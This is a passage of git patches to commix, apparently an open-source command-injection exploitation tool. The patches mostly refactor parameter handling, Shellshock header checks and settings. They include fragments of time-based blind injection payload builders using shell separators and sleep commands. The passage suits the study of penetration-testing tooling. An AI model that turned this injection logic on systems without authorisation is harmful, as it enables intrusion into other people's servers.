specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -188,13 +188,13 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index c8e5ac0493..34538a4f10 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -483,7 +483,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index b1f0ade8cf..f85ab905c3 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -43,7 +43,7 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -55,7 +55,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -192,13 +192,13 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index f112457df6..883c406c10 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -398,7 +398,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index fb5521812c..3bf92ac47c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -47,13 +47,13 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -100,7 +100,7 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -108,7 +108,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 25e2f7cd05..bfe8d77dbd 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -74,7 +74,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -eq ${str1} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -139,7 +139,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -240,7 +240,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -310,7 +310,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -379,7 +379,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -440,7 +440,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -505,7 +505,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -562,7 +562,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ff15fce45c..95a4dcf04c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -429,7 +429,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = _urllib.parse.quote(payload) # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -476,7 +476,7 @@ def user_agent_injection(url, vuln_parameter, payload, http_request_method): def inject_user_agent(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -519,7 +519,7 @@ def referer_injection(url, vuln_parameter, payload, http_request_method): def inject_referer(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -562,7 +562,7 @@ def host_injection(url, vuln_parameter, payload, http_request_method): def inject_host(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -605,7 +605,7 @@ def custom_header_injection(url, vuln_parameter, payload, http_request_method): def inject_custom_header(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index cc19cd7604..aaa72e2042 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a611614811c99d8f85f34784eb2bf68d503a607d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 Apr 2024 07:31:54 +0300 Subject: [PATCH 428/560] Minor updates and fixes https://github.com/commixproject/commix/issues/903 --- src/core/modules/shellshock/shellshock.py | 28 +++++++++++------------ src/utils/settings.py | 3 ++- 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index cc14cb04df..9625394db4 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -35,19 +35,12 @@ """ if settings.MULTI_TARGETS or settings.STDIN_PARSING: + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None if settings.REFERER_INJECTION: settings.REFERER_INJECTION = None - if settings.COOKIE_INJECTION: - settings.COOKIE_INJECTION = None - -# Available HTTP headers -headers = [ -settings.USER_AGENT, -settings.REFERER, -settings.COOKIE, -] # Available Shellshock CVEs shellshock_cves = [ @@ -290,8 +283,8 @@ def shellshock_handler(url, http_request_method, filename): try: i = 0 - total = len(shellshock_cves) * len(headers) - for check_header in headers: + total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) + for check_header in settings.SHELLSHOCK_HTTP_HEADERS: for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True @@ -316,10 +309,17 @@ def shellshock_handler(url, http_request_method, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + + if type(response) is bool: + response_info = "" + else: + response_info = response.info() + if check_header == settings.COOKIE: menu.options.cookie = default_cookie if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent + percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -330,7 +330,7 @@ def shellshock_handler(url, http_request_method, filename): percent = settings.info_msg no_result = False - elif len(response.info()) > 0 and cve in response.info(): + elif len(response_info) > 0 and cve in response_info: percent = settings.info_msg no_result = False @@ -360,9 +360,9 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + technique + "." + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index aaa72e2042..daf840cffa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1249,6 +1249,7 @@ class AUTH_TYPE(object): # HTTP Headers HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] +SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" From ba49eb84319ef85f0887e1c87b0435c637d6d0c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 25 Apr 2024 09:08:09 +0300 Subject: [PATCH 429/560] Updates, improvements and potential fix for https://github.com/commixproject/commix/issues/909 --- src/core/injections/controller/checks.py | 23 ++++++---- src/core/injections/controller/controller.py | 48 ++++++++++++-------- src/core/requests/headers.py | 4 ++ src/core/requests/parameters.py | 10 ++-- src/utils/settings.py | 5 +- 5 files changed, 59 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eb3c6407cf..afa956efc0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,24 +101,22 @@ def quoted_value(value): Check for non custom parameters. """ def process_non_custom(): - if settings.CUSTOM_INJECTION_MARKER: + if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM: while True: message = "Other non-custom parameters found." message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: - settings.IGNORE_USER_DEFINED_POST_DATA = False - return True + settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False + return elif process in settings.CHOICE_NO: - settings.IGNORE_USER_DEFINED_POST_DATA = True - return False + settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = True + return elif process in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(process) pass - else: - return True """ Process data with custom injection marker character ('*'). @@ -135,6 +133,15 @@ def process_custom_injection_data(data): _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + # if settings.INJECT_TAG in data: + # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) + # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) + # if ''.join(settings.CUSTOM_INJECTION_MARKER_DATA).count(settings.INJECT_TAG) > 1: + # err_msg = "More than one custom injection markers ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in the provided data. " + # err_msg += "You can use the '-p' option, to define them (i.e -p \"id1,id2\"). " + # print(settings.print_critical_msg(err_msg)) + # raise SystemExit() + return data """ @@ -1172,7 +1179,7 @@ def testable_parameters(url, check_parameters, header_name): if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True - if settings.TEST_PARAMETER: + if settings.TEST_PARAMETER and isinstance(settings.TEST_PARAMETER, list): testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 80930e687c..207671f6df 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -88,9 +88,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 - if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - payload = _urllib.parse.quote(payload) + # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): + # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: + # payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -115,9 +115,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -150,9 +150,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - payload = _urllib.parse.quote(payload) + # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): + # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: + # payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -177,9 +177,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -293,7 +293,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) - + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" @@ -490,11 +490,10 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True - + # Cookie Injection - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie header_name = settings.SINGLE_WHITESPACE + settings.COOKIE @@ -535,6 +534,10 @@ def cookie_injection(url, http_request_method, filename, timesec): injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 break + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -656,20 +659,27 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = None + settings.HTTP_HEADERS_INJECTION = False + settings.CUSTOM_HEADER_INJECTION = False + checks.process_non_custom() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: - get_request(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM: + get_request(url, http_request_method, filename, timesec) else: if get_request(url, http_request_method, filename, timesec) is None: - if settings.USER_DEFINED_POST_DATA and checks.process_non_custom(): + if settings.USER_DEFINED_POST_DATA and not settings.SKIP_NON_CUSTOM: post_request(url, http_request_method, filename, timesec) """ Perform HTTP Headers parameters checks """ def headers_checks(url, http_request_method, filename, timesec): - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: + + if menu.options.level == settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: if menu.options.cookie: settings.COOKIE_INJECTION = True + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: cookie_injection(url, http_request_method, filename, timesec) @@ -693,7 +703,7 @@ def headers_checks(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = False + # settings.CUSTOM_HEADER_INJECTION = False """ Perform checks @@ -737,7 +747,7 @@ def perform_checks(url, http_request_method, filename): data_checks(url, http_request_method, filename, timesec) _ = False headers_checks(url, http_request_method, filename, timesec) - if settings.CUSTOM_HEADERS_NAMES and not checks.process_non_custom(): + if any((settings.CUSTOM_HEADERS_NAMES, settings.COOKIE_INJECTION, settings.HTTP_HEADERS_INJECTION)) and settings.SKIP_NON_CUSTOM: _ = False if _: data_checks(url, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 67b852ba78..2a0703239f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -394,6 +394,10 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + + if not settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_INJECTION_MARKER = True + if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 17033f5b09..88544b956f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -47,8 +47,11 @@ def multi_params_get_value(parameter): value = ''.join(value) return value + if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: + return False + if settings.USER_DEFINED_POST_DATA: - if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: return False if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -291,9 +294,10 @@ def json_format(parameter): settings.PARAMETER_DELIMITER = "\n" elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: - settings.IGNORE_USER_DEFINED_POST_DATA = True + if settings.SKIP_NON_CUSTOM: + settings.IGNORE_USER_DEFINED_POST_DATA = True - if settings.IGNORE_USER_DEFINED_POST_DATA: + if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: return "" parameters_list = [] diff --git a/src/utils/settings.py b/src/utils/settings.py index daf840cffa..a9ebe605cb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -372,8 +372,11 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" +CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +SKIP_NON_CUSTOM = False + # Testable parameter(s) - comma separated. TEST_PARAMETER = "" TESTABLE_PARAMETERS = None From a386467972cf36878ea5be79a849ab06c6f9c9d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 26 Apr 2024 08:21:32 +0300 Subject: [PATCH 430/560] Minor update --- src/thirdparty/beautifulsoup/beautifulsoup.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index 5e78f5decb..c0d2cc4b25 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -85,7 +85,6 @@ __license__ = "New-style BSD" import codecs -import types import re import sys @@ -2029,6 +2028,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) print(soup.prettify()) diff --git a/src/utils/settings.py b/src/utils/settings.py index a9ebe605cb..0b8845021e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f48c39c7dba4cd7078be12ddbe7c3319f95853a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 Apr 2024 09:42:00 +0300 Subject: [PATCH 431/560] Fixes https://github.com/commixproject/commix/issues/910 --- src/core/injections/controller/parser.py | 1 - src/utils/settings.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git 